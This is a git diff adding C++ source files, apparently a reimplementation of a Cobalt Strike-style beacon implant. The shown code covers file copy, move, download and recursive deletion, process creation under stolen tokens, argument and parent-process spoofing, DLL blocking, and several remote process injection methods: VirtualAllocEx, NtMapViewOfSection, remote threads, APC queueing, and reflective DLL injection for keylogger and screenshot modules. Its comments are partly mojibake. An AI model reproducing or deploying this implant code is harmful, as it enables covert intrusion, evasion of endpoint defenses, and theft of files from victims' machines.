BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000); + BeaconDataCopyToBuffer(&ptaskdatap,lpNewFileName, 0x2000); + if (!CopyFileA(lpExistingFileName, lpNewFileName, 0)) + { + BeaconErrorD(0xDu, GetLastError()); + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} + +void beacon_Move(char* Taskdata, int Task_size) +{ + + datap* pdatap = BeaconDataInit(0x4000u); + char* lpExistingFileName = BeaconDataPtr(pdatap, 0x2000); + char* lpNewFileName = BeaconDataPtr(pdatap, 0x2000); + + datap ptaskdatap; + BeaconDataParse(&ptaskdatap, Taskdata, Task_size); + BeaconDataCopyToBuffer(&ptaskdatap, lpExistingFileName, 0x2000); + BeaconDataCopyToBuffer(&ptaskdatap, lpNewFileName, 0x2000); + if (!MoveFileA(lpExistingFileName, lpNewFileName)) + { + BeaconErrorD(0xEu, GetLastError()); + } + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} +void CheckDownloadIsOK(BeaconDownload* pBeaconDownload) +{ + if (!pBeaconDownload->size) + { + int number = htonl(pBeaconDownload->number); + BeaconTaskOutput((char*)&number, 4, 9); + fclose(pBeaconDownload->fp); + } +} +char* download_data; +void TransferFileData(BeaconDownload* pBeaconDownload, size_t size) +{ + + if (!download_data) + { + download_data = (char*)malloc(0x80004u); + } + *(int*)download_data = htonl(pBeaconDownload->number); + int dsize = pBeaconDownload->size; + if (dsize > size) + { + dsize = size; + } + int readsize =0; + while (dsize) + { + int readlen = fread(&download_data[readsize + 4], 1u, dsize, pBeaconDownload->fp); + if (!readlen) + { + pBeaconDownload->size = 0; + break; + } + readsize += readlen; + dsize -= readlen; + pBeaconDownload->size -= readlen; + } + BeaconTaskOutput(download_data, readsize + 4, 8); // ļ + CheckDownloadIsOK(pBeaconDownload); +} + +void __cdecl CheckDownload(size_t size) +{ + + BeaconDownload* pgBeaconDownload = gBeaconDownload; + if (pgBeaconDownload) + { + do + { + if (pgBeaconDownload->size) + { + TransferFileData(pgBeaconDownload, size); + } + pgBeaconDownload = pgBeaconDownload->Linked; + } while (pgBeaconDownload); + + pgBeaconDownload = gBeaconDownload; + BeaconDownload* temp=0; + while (pgBeaconDownload) + { + if (pgBeaconDownload->size) + { + temp = pgBeaconDownload; + pgBeaconDownload = pgBeaconDownload->Linked; + } + else + { + if (!temp) + { + gBeaconDownload = pgBeaconDownload->Linked; + free(pgBeaconDownload); + return; + } + temp->Linked = pgBeaconDownload->Linked; + free(pgBeaconDownload); + pgBeaconDownload = temp->Linked; + } + } + } +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconFileManage.h b/ReBeacon_Src/BeaconFileManage.h new file mode 100644 index 0000000..d814966 --- /dev/null +++ b/ReBeacon_Src/BeaconFileManage.h @@ -0,0 +1,26 @@ +#pragma once +#include "Utils.h" +#include "comm.h" +#include "common.h" +#include + +void BeaconLs(char* Taskdata, int Task_size); + +void beacon_MkDir(char* Taskdata, int Task_size); + +void GetDrivesList(char* Taskdata, int Task_size); + +void beacon_rm(char* Taskdata, int Task_size); + +typedef void(__cdecl *CallbackDelFilePtr)(const char* path, const char* name, int type); +void CallbackDelFile(const char* path, const char* name, int type); + +void DeleteAllFile(char* buffer); + +void TraverseDeleteFile(char* path, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback_fun); + +void RecursionTraverseDeleteFile(char* path, char* Name, LPWIN32_FIND_DATAA lpFindFileData, CallbackDelFilePtr Callback); + +void beacon_copy(char* Taskdata, int Task_size); + +void beacon_Move(char* Taskdata, int Task_size); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconInject.cpp b/ReBeacon_Src/BeaconInject.cpp new file mode 100644 index 0000000..034d253 --- /dev/null +++ b/ReBeacon_Src/BeaconInject.cpp @@ -0,0 +1,1069 @@ +#include "BeaconInject.h" +#include "BeaconJob.h" +#include "BeaconX64.h" + + +void resolve_spawntopath(LPSTR lpDst, BOOL x86) +{ + char Buffer[256]; + memset(Buffer, 0, sizeof(Buffer)); + if (!x86) + { + if (spawntoPath_x64 && strlen(spawntoPath_x64)) + { + _snprintf(Buffer, 0x100u, "%s", spawntoPath_x64); + BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100u); + return; + } + char* post_ex_spawnto_x64 = get_str(30); + _snprintf(Buffer, 0x100u, "%s", post_ex_spawnto_x64); + BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100); + return; + } + if (!spawntoPath_x86 || !strlen(spawntoPath_x86)) + { + char* post_ex_spawnto_x86 = get_str(29); + _snprintf(Buffer, 0x100u, "%s", post_ex_spawnto_x86); + BeaconExpandEnvironmentStringsA(Buffer, lpDst, 0x100); + return; + } +} + + +void getspawntopath(char* path_buffer, BOOL x86) +{ + + memset(path_buffer, 0, 256); + if (!x86) + { + resolve_spawntopath(path_buffer, 0); + return; + } + HANDLE hPrcoess = GetCurrentProcess(); + if (Is_Wow64(hPrcoess)) + { + resolve_spawntopath(path_buffer, 1); + return; + } + resolve_spawntopath(path_buffer, 1); + char* pch = strstr(path_buffer, "syswow64"); + if (pch) + { + memcpy(pch, "system32", 8); + } +} + +/// +/// ƥBeaconõĽ̲ƭ +/// +/// +/// +/// +BOOL BeaconProcessParameterSpoofing(char* cmd, BeaconParameterSpoofing* pBPS) +{ + BeaconSpoofArgs* i; + + for (i = gBeaconParameterSpoofing; ; i = i->Linked) + { + if (!i) + { + return 0; + } + if (i->state == 1 && strstr(cmd, i->cmd1) == cmd) + { + break; + } + } + pBPS->cmd2 = i->cmd2; + pBPS->cmd = cmd; + return 1; +} + +int sub_1000357A(BeaconStartProcess* pBeaconStartProcess, LPWSTR lpCommandLine, LPCWSTR lpCurrentDirectory) +{ + + if (CreateProcessWithLogonW( + lpWideCharStr, + lpDomain, + lpPassword, + LOGON_NETCREDENTIALS_ONLY, + 0, + lpCommandLine, + pBeaconStartProcess->dwCreationFlags, + 0, + lpCurrentDirectory, + (LPSTARTUPINFOW)pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + return 1; + } + if (GetLastError() != ERROR_PATH_NOT_FOUND) + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x45u, LastError, pBeaconStartProcess->path); + return 0; + } + if (strlen(pBeaconStartProcess->path) >= 0x100) + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x45u, LastError, pBeaconStartProcess->path); + return 0; + } + char Src[256] = {0}; + char* s = strstr(pBeaconStartProcess->path, "sysnative"); + if (s) + { + memset(Src, 0, sizeof(Src)); + memcpy(s, "system32", 8); + s += 9; + memcpy(Src, s, strlen(s)); + strcpy(s - 1, Src); + return sub_10003687(pBeaconStartProcess); + } + else + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x45u, LastError, pBeaconStartProcess->path); + return 0; + } +} + + +int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess) +{ + + WCHAR CommandLine[1024] = { 0 }; + WCHAR lpCurrentDirectory[1024] = { 0 }; + pBeaconStartProcess->pSTARTUPINFOA->lpDesktop = 0; + if (toWideChar(pBeaconStartProcess->path, CommandLine, 1024)) + { + if (GetCurrentDirectoryW(0, 0) < 1024) + { + GetCurrentDirectoryW(1024, lpCurrentDirectory); + } + if (CreateProcessWithTokenW( + pTokenHandle, + LOGON_NETCREDENTIALS_ONLY, + 0, + CommandLine, + pBeaconStartProcess->dwCreationFlags, + 0, + lpCurrentDirectory, + (LPSTARTUPINFOW)pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + return 1; + } + if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD && Create_token_Flag == 1) + { + return sub_1000357A(pBeaconStartProcess, CommandLine, lpCurrentDirectory); + } + if (GetLastError() == ERROR_INVALID_PARAMETER && pBeaconStartProcess->pSTARTUPINFOA->cb == 72) + { + DWORD LastError = GetLastError(); + BeaconTaskError1Output(0x4A, LastError, pBeaconStartProcess->path); + } + else + { + if (GetLastError() == ERROR_PATH_NOT_FOUND && strlen(pBeaconStartProcess->path) < 0x100) + { + char Src[256] = {0}; + char* s = strstr(pBeaconStartProcess->path, "sysnative"); + if (s) + { + memset(Src, 0, sizeof(Src)); + memcpy(s, "system32", 8); + s += 9; + memcpy(Src, s, strlen(s)); + strcpy(s - 1, Src); + return sub_10003687(pBeaconStartProcess); + } + } + BeaconTaskError1Output(0x29u, GetLastError(), pBeaconStartProcess->path); + } + } + else + { + BeaconErrorD(7u, pBeaconStartProcess->path_size); + } + return 0; +} + + + +int sub_10003889(BeaconStartProcess* pBeaconStartProcess) +{ + + if (!pTokenHandle || pBeaconStartProcess->dwCreationFlags) + { + if (!CreateProcessA( + NULL, + pBeaconStartProcess->path, + NULL, + NULL, + TRUE, + pBeaconStartProcess->dwCreationFlags, + NULL, + NULL, + pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + int LastError = GetLastError(); + BeaconTaskError1Output(0x30, LastError, pBeaconStartProcess->path); + return 0; + } + } + else if (!CreateProcessAsUserA( + pTokenHandle, + 0, + pBeaconStartProcess->path, + 0, + 0, + 1, + pBeaconStartProcess->dwCreationFlags, + 0, + 0, + pBeaconStartProcess->pSTARTUPINFOA, + pBeaconStartProcess->pPROCESS_INFORMATION)) + { + if (GetLastError() == ERROR_PRIVILEGE_NOT_HELD) + { + return sub_10003687(pBeaconStartProcess); + } + int LastError = GetLastError(); + BeaconTaskError1Output(0x29, LastError, pBeaconStartProcess->path); + return 0; + } + return 1; +} + + + + + +int sub_1000391C(BeaconStartProcess* pBeaconStartProcess) +{ + BeaconParameterSpoofing pBPS; + if ((pBeaconStartProcess->dwCreationFlags & 4) != 0 || !BeaconProcessParameterSpoofing(pBeaconStartProcess->path, &pBPS)) + { + return sub_10003889(pBeaconStartProcess); + } + char* cmd2 = pBPS.cmd2; + pBeaconStartProcess->dwCreationFlags |= 4u; + pBeaconStartProcess->path = cmd2; + int returnvalue = sub_10003889(pBeaconStartProcess); + int ret = sub_10003444(pBeaconStartProcess->pPROCESS_INFORMATION, &pBPS) == 0; + PROCESS_INFORMATION* pPROCESS_INFORMATION = pBeaconStartProcess->pPROCESS_INFORMATION; + if (ret) + { + TerminateProcess(pPROCESS_INFORMATION->hProcess, 0); + return 0; + } + else + { + ResumeThread(pPROCESS_INFORMATION->hThread); + return returnvalue; + } +} + +int __cdecl ProcessPPIDSet(BeaconCreateprocess* lpValue, DWORD dwProcessId, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, STARTUPINFOA* psi) +{ + HANDLE hprocess = OpenProcess(0x1FFFFF, 0, dwProcessId); + if (!hprocess) + { + BeaconErrorDD(0x22u, dwProcessId, GetLastError()); + return 0; + } + lpValue->process = hprocess; + if (!UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, lpValue, sizeof(HANDLE), 0, 0)) + { + BeaconErrorD(0x47, GetLastError()); + CloseHandle(hprocess); + return 0; + } + if (!psi->hStdOutput) + { + if (!psi->hStdOutput == 0) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdOutput, hprocess, &psi->hStdOutput, 0, TRUE, DUPLICATE_CLOSE_SOURCE| DUPLICATE_SAME_ACCESS); + } + if (psi->hStdError) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdError, hprocess, &psi->hStdError, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + } + return 1; + } + + if (!psi->hStdError || psi->hStdOutput != psi->hStdError) + { + if (!psi->hStdOutput == 0) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdOutput, hprocess, &psi->hStdOutput, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + } + + if (psi->hStdError) + { + DuplicateHandle(GetCurrentProcess(), psi->hStdError, hprocess, &psi->hStdError, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + } + return 1; + } + DuplicateHandle(GetCurrentProcess(), psi->hStdOutput, hprocess, &psi->hStdOutput, 0, TRUE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS); + psi->hStdError = psi->hStdOutput; + return 1; +} + + +int __cdecl ProcessBlockdllsSet(BeaconCreateprocess* pBeaconCreateprocess, DWORD dwProcessId, LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, STARTUPINFOA* psi) +{ + DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; + if (UpdateProcThreadAttribute(lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), 0, 0)) + { + pBeaconCreateprocess->SetErrorMode_value = SetErrorMode(0x8003); + return 1; + } + else + { + BeaconErrorD(0x47, GetLastError()); + return 0; + } +} + + +BeaconCreateprocess* InitProcessPPIDStruct(BeaconCreateprocess* pBeaconCreateprocess) +{ + pBeaconCreateprocess->process = (HANDLE)-1; + pBeaconCreateprocess->ProcessSettings = ProcessPPIDSet; + pBeaconCreateprocess->func2 = BeaconcloseHandle; + return pBeaconCreateprocess; +} +BeaconCreateprocess* InitProcessBlockdllsStruct(BeaconCreateprocess* pBeaconCreateprocess) +{ + pBeaconCreateprocess->ProcessSettings = ProcessBlockdllsSet; + pBeaconCreateprocess->func2 = BeaconSetErrorMode; + return pBeaconCreateprocess; +} + +int CreateProcessCore(BeaconStartProcess* pStartProcess, int PPIDPID) +{ + BOOL Opt = isPPIDAndBlockDLL(PPIDPID); + if (!Opt) + { + return sub_1000391C(pStartProcess); + } + _PROC_THREAD_ATTRIBUTE_LIST* lpAttributeList = CreateProcessAttributeList(Opt); + BeaconCreateprocess pBeaconCreateprocess1 = {0}; + BeaconCreateprocess pBeaconCreateprocess2 = {0}; + InitProcessPPIDStruct(&pBeaconCreateprocess1); + InitProcessBlockdllsStruct(&pBeaconCreateprocess2); + int ret = 0; + if ( + (!PPIDPID + || + pBeaconCreateprocess1.ProcessSettings(&pBeaconCreateprocess1, PPIDPID, lpAttributeList, pStartProcess->pSTARTUPINFOA) + ) + && + (gBeaconBlockDLL != 1 + || + pBeaconCreateprocess2.ProcessSettings(&pBeaconCreateprocess2, PPIDPID,lpAttributeList,pStartProcess->pSTARTUPINFOA) + ) + ) + { + + //佫STARTUPINFOA䵽STARTUPINFOEXA + STARTUPINFOEXA SIEX = {0}; + memcpy(&SIEX, pStartProcess->pSTARTUPINFOA, sizeof(STARTUPINFOA)); + SIEX.lpAttributeList = lpAttributeList; + SIEX.StartupInfo.cb = sizeof(STARTUPINFOEXA); + + pStartProcess->pSTARTUPINFOA = (STARTUPINFOA*)&SIEX; + pStartProcess->dwCreationFlags|= 0x80000; + ret = sub_1000391C(pStartProcess); + if (PPIDPID) + { + pBeaconCreateprocess1.func2(&pBeaconCreateprocess1); + } + if (gBeaconBlockDLL == 1) + { + pBeaconCreateprocess2.func2(&pBeaconCreateprocess2); + } + } + DeleteProcThreadAttributeList(lpAttributeList); + HeapFree(GetProcessHeap(), 0, lpAttributeList); + return ret; +} + + +int BeaconCreateProcess(char* path,int path_size,_STARTUPINFOA* sInfo,PROCESS_INFORMATION* pInfo,int dwCreationFlags,int ignoreToken,int PPID) +{ + BeaconStartProcess pStartProcess; + + pStartProcess.path = path; + pStartProcess.path_size = path_size; + pStartProcess.pSTARTUPINFOA = sInfo; + pStartProcess.pPROCESS_INFORMATION = pInfo; + pStartProcess.dwCreationFlags = dwCreationFlags; + pStartProcess.ignoreToken = ignoreToken; + return CreateProcessCore(&pStartProcess, PPID); +} + +int BeaconExecuteCommand(char* path,int path_size,STARTUPINFOA* sInfo,PROCESS_INFORMATION* pInfo,int dwCreationFlags,int ignoreToken) +{ + return BeaconCreateProcess(path, path_size, sInfo, pInfo, dwCreationFlags, ignoreToken, gBeaconPPID); +} + +int BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFOA* sInfo, PROCESS_INFORMATION* pInfo) +{ + char path[256] = { 0 }; + + getspawntopath(path, x86); + return BeaconExecuteCommand(path, strlen(path), sInfo, pInfo, 4, ignoreToken); +} + +/// +/// ʼBeaconProcessInject +/// +/// +/// +/// +/// +void sub_10004B81(HANDLE hProcess, PROCESS_INFORMATION* pi, int pid, BeaconProcessInject* pBeaconProcessInject) +{ + pBeaconProcessInject->hProcess = hProcess; + pBeaconProcessInject->Process_PID = pid; + pBeaconProcessInject->Flag_FALSE = X86orX64() != 0; + int v5 = is_process_arch(hProcess) != 0; + int v6 = v5 == pBeaconProcessInject->Flag_FALSE; + pBeaconProcessInject->is_process_arch = v5; + pBeaconProcessInject->is_system_process = v6; + pBeaconProcessInject->is_Process_self = pid == GetCurrentProcessId(); + if (pi) + { + pBeaconProcessInject->ishThread = 1; + pBeaconProcessInject->hThread = pi->hThread; + } + else + { + pBeaconProcessInject->ishThread = 0; + pBeaconProcessInject->hThread = 0; + } +} + +/// +/// ڴ +/// +/// +/// +/// +/// +PVOID sub_10005053(HANDLE ProcessHandle, char* payload, size_t Size) +{ + PVOID BaseAddress = 0; + ULONG_PTR ViewSize =0; + int min_alloc = get_dword(45);//.process-inject.min_alloc + if (Size > min_alloc) + { + min_alloc = Size; + } + auto ntdllbase = GetModuleHandleA("ntdll.dll"); + NtMapViewOfSection_t NtMapViewOfSection = (NtMapViewOfSection_t)GetProcAddress(ntdllbase, "NtMapViewOfSection"); + if (!NtMapViewOfSection) + { + return 0; + } + HANDLE FileMappingA = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, min_alloc, 0); + if (FileMappingA != (HANDLE)-1) + { + PVOID payloadaddr = MapViewOfFile(FileMappingA, FILE_MAP_ALL_ACCESS, 0, 0, 0); + if (payloadaddr) + { + memcpy(payloadaddr, payload, Size); + int userwx = get_short(44); //.process-inject.userwx + NtMapViewOfSection(FileMappingA, ProcessHandle, &BaseAddress, 0, 0, 0, &ViewSize, 1, 0, userwx); + UnmapViewOfFile(payloadaddr); + } + CloseHandle(FileMappingA); + } + if (!BaseAddress) + { + BeaconErrorD(0x49u, GetLastError()); + } + return BaseAddress; +} + + +char* sub_10005120(HANDLE ProcessHandle, char* payload, size_t Size) +{ + + int min_alloc = get_dword(45); + if (Size > min_alloc) + { + min_alloc = Size; + } + int startrwx = get_short(43);//.process-inject.startrwx + char* payloadaddr = (char*)VirtualAllocEx(ProcessHandle, 0, min_alloc, 0x3000u, startrwx); + if (!payloadaddr) + { + BeaconErrorDD(0x1Fu, min_alloc, GetLastError()); + return 0; + } + int NumberBytes = 0; + SIZE_T NumberOfBytesWritten = 0; + DWORD flOldProtect = 0; + if (Size > 0) + { + while (WriteProcessMemory(ProcessHandle, &payloadaddr[NumberBytes], &payload[NumberBytes], Size - NumberBytes, &NumberOfBytesWritten)) + { + NumberBytes += NumberOfBytesWritten; + if (!NumberOfBytesWritten) + { + return 0; + } + if (NumberBytes >= Size) + { + int userwx = get_short(44); + if (get_short(43) != userwx) + { + if (!VirtualProtectEx(ProcessHandle, payloadaddr, min_alloc, userwx, &flOldProtect)) + { + BeaconErrorD(0x11u, GetLastError()); + return 0; + } + } + return payloadaddr; + } + } + BeaconErrorD(0x10, GetLastError()); + return 0; + } + int userwx = get_short(44); + if (get_short(43) != userwx) + { + if (!VirtualProtectEx(ProcessHandle, payloadaddr, min_alloc, userwx, &flOldProtect)) + { + BeaconErrorD(0x11, GetLastError()); + return 0; + } + } + return payloadaddr; +} + + +BOOL sub_100054CC(char* payload, int p_len) +{ + return p_len >= 51200 && *(WORD*)payload == 'ZM' && *((DWORD*)payload + 255) == 0xF4F4F4F4; +} + +/// +/// ʼעеһЩ +/// +/// +/// +/// +void sub_100054F7(char* payload, BeaconProcessInject* pBeaconProcessInject, int p_len) +{ + ULONG_PTR* data = (DWORD_PTR*)payload; + if (sub_100054CC(payload, p_len)) + { + if (pBeaconProcessInject->is_system_process) + { + data[252] = (ULONG_PTR)GetProcAddress; + data[251] = (ULONG_PTR)LoadLibraryA; + data[253] = (ULONG_PTR)VirtualAlloc; + data[255] = 61453; + data[254] = (ULONG_PTR)VirtualProtect; + } + } +} + + +char* allocator_option(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, char* payload) +{ + char* result; + // Զڴķʽ VirtualAllocEx or NtMapViewOfSection + if (get_short(52) == 1 && pBeaconProcessInject->is_system_process) + { + result = (char*)sub_10005053(pBeaconProcessInject->hProcess, payload, payload_size); + } + else + { + result = sub_10005120(pBeaconProcessInject->hProcess, payload, payload_size); + } + return result; +} + +char* sub_1000520B(size_t payload_size, char* payload) +{ + + int min_alloc = get_dword(45); + if (payload_size > min_alloc) + { + min_alloc = payload_size + 1024; + } + int startrwx = get_short(43); + char* payloadAddress = (char*)VirtualAlloc(0, min_alloc, MEM_RESERVE | MEM_COMMIT, startrwx); + if (payloadAddress) + { + memcpy(payloadAddress, payload, payload_size); + return CheckMemoryRWX(payloadAddress, min_alloc) != 0 ? payloadAddress : 0; + } + else + { + BeaconErrorDD(0x1F, min_alloc, GetLastError()); + return 0; + } +} + + + + + +#include "BeaconX64.h" +int sub_10004955(BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* BaseAddress, LPVOID lpParameter) +{ + datap pdatap; + char* process_inject_execute = get_str(51);//.process-inject.execute + + BeaconDataParse(&pdatap, process_inject_execute, 128); + while (2) + { + switch (BeaconDataByte(&pdatap)) + { + case 0: + return 0; + case 1: + { + if (!pBeaconProcessInject->is_Process_self) + { + continue; + } + if (!BeaconCreateThread((LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + } + case 2: + if (!pBeaconProcessInject->ishThread) + { + continue; + } + + #ifdef _WIN64 + if (!sub_1800121D8(pBeaconProcessInject, (DWORD64)&BaseAddress[prepended_data_size], (DWORD64)lpParameter)) + { + continue; + } + return 1; + + #else + if (!sub_10005463(pBeaconProcessInject, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + + #endif // _WIN64 + + case 3: + if (!pBeaconProcessInject->is_system_process) + { + continue; + } + if (!BeaconCreateRemoteThread(pBeaconProcessInject->hProcess, (LPTHREAD_START_ROUTINE)&BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + case 4: + if (pBeaconProcessInject->is_system_process) + { + if (!BeaconRtlCreateUserThread(pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + } + if (sub_1000535D(pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter)) + { + return 1; + } + if (!pBeaconProcessInject->is_system_process) + { + continue; + } + if (!BeaconRtlCreateUserThread(pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + case 5: + if (pBeaconProcessInject->is_Process_self || !pBeaconProcessInject->is_system_process || pBeaconProcessInject->ishThread) + { + continue; + } + if (!sub_10004DDE(pBeaconProcessInject, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + case 6: + { + int offset = BeaconDataShort(&pdatap); + char* lpModuleName = BeaconDataPtr2(&pdatap); + char* lpProcName = BeaconDataPtr2(&pdatap); + if (!pBeaconProcessInject->is_Process_self) + { + continue; + } + if (!sub_10004FA1(6, pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter, lpModuleName, lpProcName, offset)) + { + continue; + } + return 1; + } + + case 7: + { + int offset = BeaconDataShort(&pdatap); + char* lpModuleName = BeaconDataPtr2(&pdatap); + char* lpProcName = BeaconDataPtr2(&pdatap); + if (!pBeaconProcessInject->is_system_process) + { + continue; + } + if (!sub_10004FA1(7, pBeaconProcessInject->hProcess, &BaseAddress[prepended_data_size], lpParameter, lpModuleName, lpProcName, offset)) + { + continue; + } + return 1; + } + case 8: + if (!pBeaconProcessInject->ishThread || !pBeaconProcessInject->is_system_process) + { + continue; + } + if (!BeaconNtQueueApcThread(pBeaconProcessInject, &BaseAddress[prepended_data_size], lpParameter)) + { + continue; + } + return 1; + default: + continue; + } + } +} + + + +void sub_10004B35(size_t payload_size, BeaconProcessInject* pBeaconProcessInject, int prepended_data_size, char* payload, LPVOID lpParameter) +{ + char* BaseAddress; + if (pBeaconProcessInject->is_Process_self) + { + BaseAddress = (char*)sub_1000520B(payload_size, payload);// ע + } + else + { + BaseAddress = allocator_option(payload_size, pBeaconProcessInject, payload); + } + if (BaseAddress) + { + if (!sub_10004955(pBeaconProcessInject, prepended_data_size, BaseAddress, lpParameter))// ע + { + BeaconErrorDD(0x48u, pBeaconProcessInject->Process_PID, GetLastError()); + } + } +} + + +void ProcessInject(int pid, PROCESS_INFORMATION* pi, HANDLE hProcess, char* payload, size_t p_len, int p_offset, char* arg, int a_len) +{ + + char* parameter_addr; + BeaconProcessInject pBeaconProcessInject; + sub_10004B81(hProcess, pi, pid, &pBeaconProcessInject); + sub_100054F7(payload, &pBeaconProcessInject, p_len); + char* process_inject_transform = get_str((pBeaconProcessInject.is_process_arch == 1) + 46);// 46 .process-inject.transform-x86 256 bytes + // 47 .process-inject.transform-x64 256 bytes + datap pdatap; + BeaconDataParse(&pdatap, process_inject_transform, 256); + + //˴Ǵע븽payloadǰԶݲ + int prepended_data_size = BeaconDataInt(&pdatap); + char* prepended_data = BeaconDataPtr(&pdatap, prepended_data_size); + int appended_data_size = BeaconDataInt(&pdatap); + char* appended_data = BeaconDataPtr(&pdatap, appended_data_size); + if (a_len <= 0) + { + parameter_addr = 0; + } + else + { + parameter_addr = allocator_option(a_len, &pBeaconProcessInject, arg); + } + if (prepended_data_size || appended_data_size) + { + BeaconFormatAlloc((formatp*)&pdatap, appended_data_size + prepended_data_size + p_len + 16); + BeaconFormatAppend((formatp*)&pdatap, prepended_data, prepended_data_size); + BeaconFormatAppend((formatp*)&pdatap, payload, p_len); + BeaconFormatAppend((formatp*)&pdatap, appended_data, appended_data_size);// װpayload + int buff_size = BeaconFormatlength((formatp*)&pdatap); + char* buff = BeaconFormatOriginalPtr((formatp*)&pdatap); + sub_10004B35(buff_size, &pBeaconProcessInject, p_offset + prepended_data_size, buff, parameter_addr); + BeaconFormatFree((formatp*)&pdatap); + } + else + { + sub_10004B35(p_len, &pBeaconProcessInject, p_offset, payload, parameter_addr); + } +} + + +/// +/// BeaconڲkeyLogger Printscreen PsInject Screenshot Screenwatchʹõķdllע +/// +/// +/// +/// +void BeaconReflectiveDLLInject(char* Taskdata, int Taskdata_size, int x86) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Taskdata_size); + DWORD pid = BeaconDataInt(&pdatap); + int p_offset = BeaconDataInt(&pdatap); + HANDLE hProcess = OpenProcess(1082u, 0, pid); + if (!hProcess) + { + BeaconErrorDD(33, pid, GetLastError()); + return; + } + int arch = is_process_arch(hProcess); + if (!x86) + { + if (!arch) + { + BeaconErrorD(19, pid); + return; + } + int payloadsize = BeaconDataLength(&pdatap); + char* payload = BeaconDataBuffer(&pdatap); + ProcessInject(pid, 0, hProcess, payload, payloadsize, p_offset, 0, 0);// ע뺯 + CloseHandle(hProcess); + return; + } + if (!arch) + { + int payloadsize = BeaconDataLength(&pdatap); + char* payload = BeaconDataBuffer(&pdatap); + ProcessInject(pid, 0, hProcess, payload, payloadsize, p_offset, 0, 0);// ע뺯 + CloseHandle(hProcess); + return; + } + BeaconErrorD(18, pid); +} + +/// +/// +/// +/// +/// +/// +/// +void BeaconSpawnX86(BOOL ignoreToken, char* data, size_t Size, BOOL x86) +{ + + STARTUPINFOA StartupInfo; + _PROCESS_INFORMATION pi = { 0 }; + check_close_token_fake(ignoreToken); + StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.wShowWindow = 0; + StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + StartupInfo.hStdInput = 0; + if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &StartupInfo, &pi)) + { + Sleep(100); + ProcessInject(pi.dwProcessId, &pi, pi.hProcess, data, Size, 0, 0, 0); + check_restore_token_fake(ignoreToken); + BeaconcloseAllHandle(&pi); + } + else + { + check_restore_token_fake(ignoreToken); + } + +} + + +void BeaconWow64DisableWow64FsRedirection(PVOID* OldValue) +{ + Wow64DisableWow64FsRedirection(OldValue); +} +void BeaconWow64RevertWow64FsRedirection(PVOID OldValue) +{ + Wow64RevertWow64FsRedirection(OldValue); +} + + +void ExecuteCommand(char* cmd, int cmdsize) +{ + PROCESS_INFORMATION pi = {0}; + SECURITY_ATTRIBUTES PipeAttributes; + PipeAttributes.lpSecurityDescriptor = 0; + PipeAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + PipeAttributes.bInheritHandle = 1; + + HANDLE hReadPipe; + HANDLE hWritePipe; + CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0x100000u); + + STARTUPINFOA StartupInfo; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.wShowWindow = 0; + StartupInfo.hStdOutput = hWritePipe; + StartupInfo.hStdError = hWritePipe; + StartupInfo.dwFlags = 257; + StartupInfo.hStdInput = 0; + if (BeaconExecuteCommand(cmd, cmdsize, &StartupInfo, &pi, CREATE_NEW_CONSOLE, 0)) + { + WaitForSingleObject(pi.hProcess, 0x2710); + Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, "process")->JobType = 30; + } +} + 